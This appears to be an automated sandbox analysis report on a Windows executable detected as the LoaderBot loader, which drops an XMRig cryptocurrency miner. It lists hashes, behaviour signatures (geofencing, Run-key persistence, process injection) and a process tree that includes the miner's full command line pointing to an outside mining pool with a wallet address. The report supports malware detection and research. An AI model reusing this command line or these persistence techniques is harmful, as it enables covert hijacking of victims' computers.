Analysis

  • max time kernel
    124s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2023 15:51

General

  • Target

    e7bf9f0c2c1977ddd8e139c13c27be0d.exe

  • Size

    2.7MB

  • MD5

    e7bf9f0c2c1977ddd8e139c13c27be0d

  • SHA1

    e91aff3d9a8c7cef0e9543350864971e4ad93f82

  • SHA256

    a615a2c647bce3b67f43c818a7fd972a653a605efce83b7eb6f38fb374ec8eba

  • SHA512

    d9961824b178944aec2411c1bb29a5ef4b487ce0c251fe381e2841c6abe00f29ecf895ab1baf93e49442af07a14acdcf9d882519d39beb5c4d4902db2db2560f

  • SSDEEP

    49152:552sxwTr/VsoJteujcnqNwelN/z52r7zj9n0cqv/3SYd:55jxa3JteujcncNNQzj9hqXCY

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 14 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e7bf9f0c2c1977ddd8e139c13c27be0d.exe
    "C:\Users\Admin\AppData\Local\Temp\e7bf9f0c2c1977ddd8e139c13c27be0d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4500
    • C:\Users\Admin\AppData\Local\Temp\e7bf9f0c2c1977ddd8e139c13c27be0d.exe
      "{path}"
      2⤵
        PID:3972
      • C:\Users\Admin\AppData\Local\Temp\e7bf9f0c2c1977ddd8e139c13c27be0d.exe
        "{path}"
        2⤵
          PID:232
        • C:\Users\Admin\AppData\Local\Temp\e7bf9f0c2c1977ddd8e139c13c27be0d.exe
          "{path}"
          2⤵
            PID:2608
          • C:\Users\Admin\AppData\Local\Temp\e7bf9f0c2c1977ddd8e139c13c27be0d.exe
            "{path}"
            2⤵
            • Checks computer location settings
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: RenamesItself
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4252
            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
              3⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:2924
              • C:\Windows\system32\WerFault.exe
                C:\Windows\system32\WerFault.exe -u -p 2924 -s 760
                4⤵
                • Program crash
                PID:2464
            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
              3⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4672
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 416 -p 2924 -ip 2924
          1⤵
            PID:1236

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e7bf9f0c2c1977ddd8e139c13c27be0d.exe.log

            Filesize

            1KB

            MD5

            17573558c4e714f606f997e5157afaac

            SHA1

            13e16e9415ceef429aaf124139671ebeca09ed23

            SHA256

            c18db6aecad2436da4a63ff26af4e3a337cca48f01c21b8db494fe5ccc60e553

            SHA512

            f4edf13f05a0d142e4dd42802098c8c44988ee8869621a62c2b565a77c9a95857f636583ff8d6d9baa366603d98b9bfbf1fc75bc6f9f8f83c80cb1215b2941cc

          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

            Filesize

            3.9MB

            MD5

            02569a7a91a71133d4a1023bf32aa6f4

            SHA1

            0f16bcb3f3f085d3d3be912195558e9f9680d574

            SHA256

            8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

            SHA512

            534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

            Filesize

            3.9MB

            MD5

            02569a7a91a71133d4a1023bf32aa6f4

            SHA1

            0f16bcb3f3f085d3d3be912195558e9f9680d574

            SHA256

            8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

            SHA512

            534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

            Filesize

            3.9MB

            MD5

            02569a7a91a71133d4a1023bf32aa6f4

            SHA1

            0f16bcb3f3f085d3d3be912195558e9f9680d574

            SHA256

            8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

            SHA512

            534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

            Filesize

            3.9MB

            MD5

            02569a7a91a71133d4a1023bf32aa6f4

            SHA1

            0f16bcb3f3f085d3d3be912195558e9f9680d574

            SHA256

            8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

            SHA512

            534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

          • memory/2924-160-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/2924-159-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/2924-158-0x0000000000400000-0x0000000000414000-memory.dmp

            Filesize

            80KB

          • memory/4252-154-0x00000000053C0000-0x00000000053D0000-memory.dmp

            Filesize

            64KB

          • memory/4252-141-0x0000000000400000-0x00000000007FE000-memory.dmp

            Filesize

            4.0MB

          • memory/4252-146-0x00000000057D0000-0x0000000005836000-memory.dmp

            Filesize

            408KB

          • memory/4252-164-0x00000000053C0000-0x00000000053D0000-memory.dmp

            Filesize

            64KB

          • memory/4500-136-0x0000000005910000-0x00000000059A2000-memory.dmp

            Filesize

            584KB

          • memory/4500-135-0x0000000005F80000-0x0000000006524000-memory.dmp

            Filesize

            5.6MB

          • memory/4500-134-0x0000000005870000-0x000000000590C000-memory.dmp

            Filesize

            624KB

          • memory/4500-137-0x0000000003410000-0x000000000341A000-memory.dmp

            Filesize

            40KB

          • memory/4500-140-0x00000000033B0000-0x00000000033C0000-memory.dmp

            Filesize

            64KB

          • memory/4500-139-0x00000000033B0000-0x00000000033C0000-memory.dmp

            Filesize

            64KB

          • memory/4500-133-0x0000000000BF0000-0x0000000000EAC000-memory.dmp

            Filesize

            2.7MB

          • memory/4500-138-0x0000000005B60000-0x0000000005BB6000-memory.dmp

            Filesize

            344KB

          • memory/4672-165-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4672-173-0x00000000129F0000-0x0000000012A10000-memory.dmp

            Filesize

            128KB

          • memory/4672-166-0x0000000001FA0000-0x0000000001FC0000-memory.dmp

            Filesize

            128KB

          • memory/4672-167-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4672-168-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4672-169-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4672-170-0x00000000129F0000-0x0000000012A10000-memory.dmp

            Filesize

            128KB

          • memory/4672-171-0x0000000012A10000-0x0000000012A30000-memory.dmp

            Filesize

            128KB

          • memory/4672-172-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4672-163-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4672-174-0x0000000012A10000-0x0000000012A30000-memory.dmp

            Filesize

            128KB

          • memory/4672-175-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4672-176-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4672-177-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4672-178-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4672-179-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4672-180-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB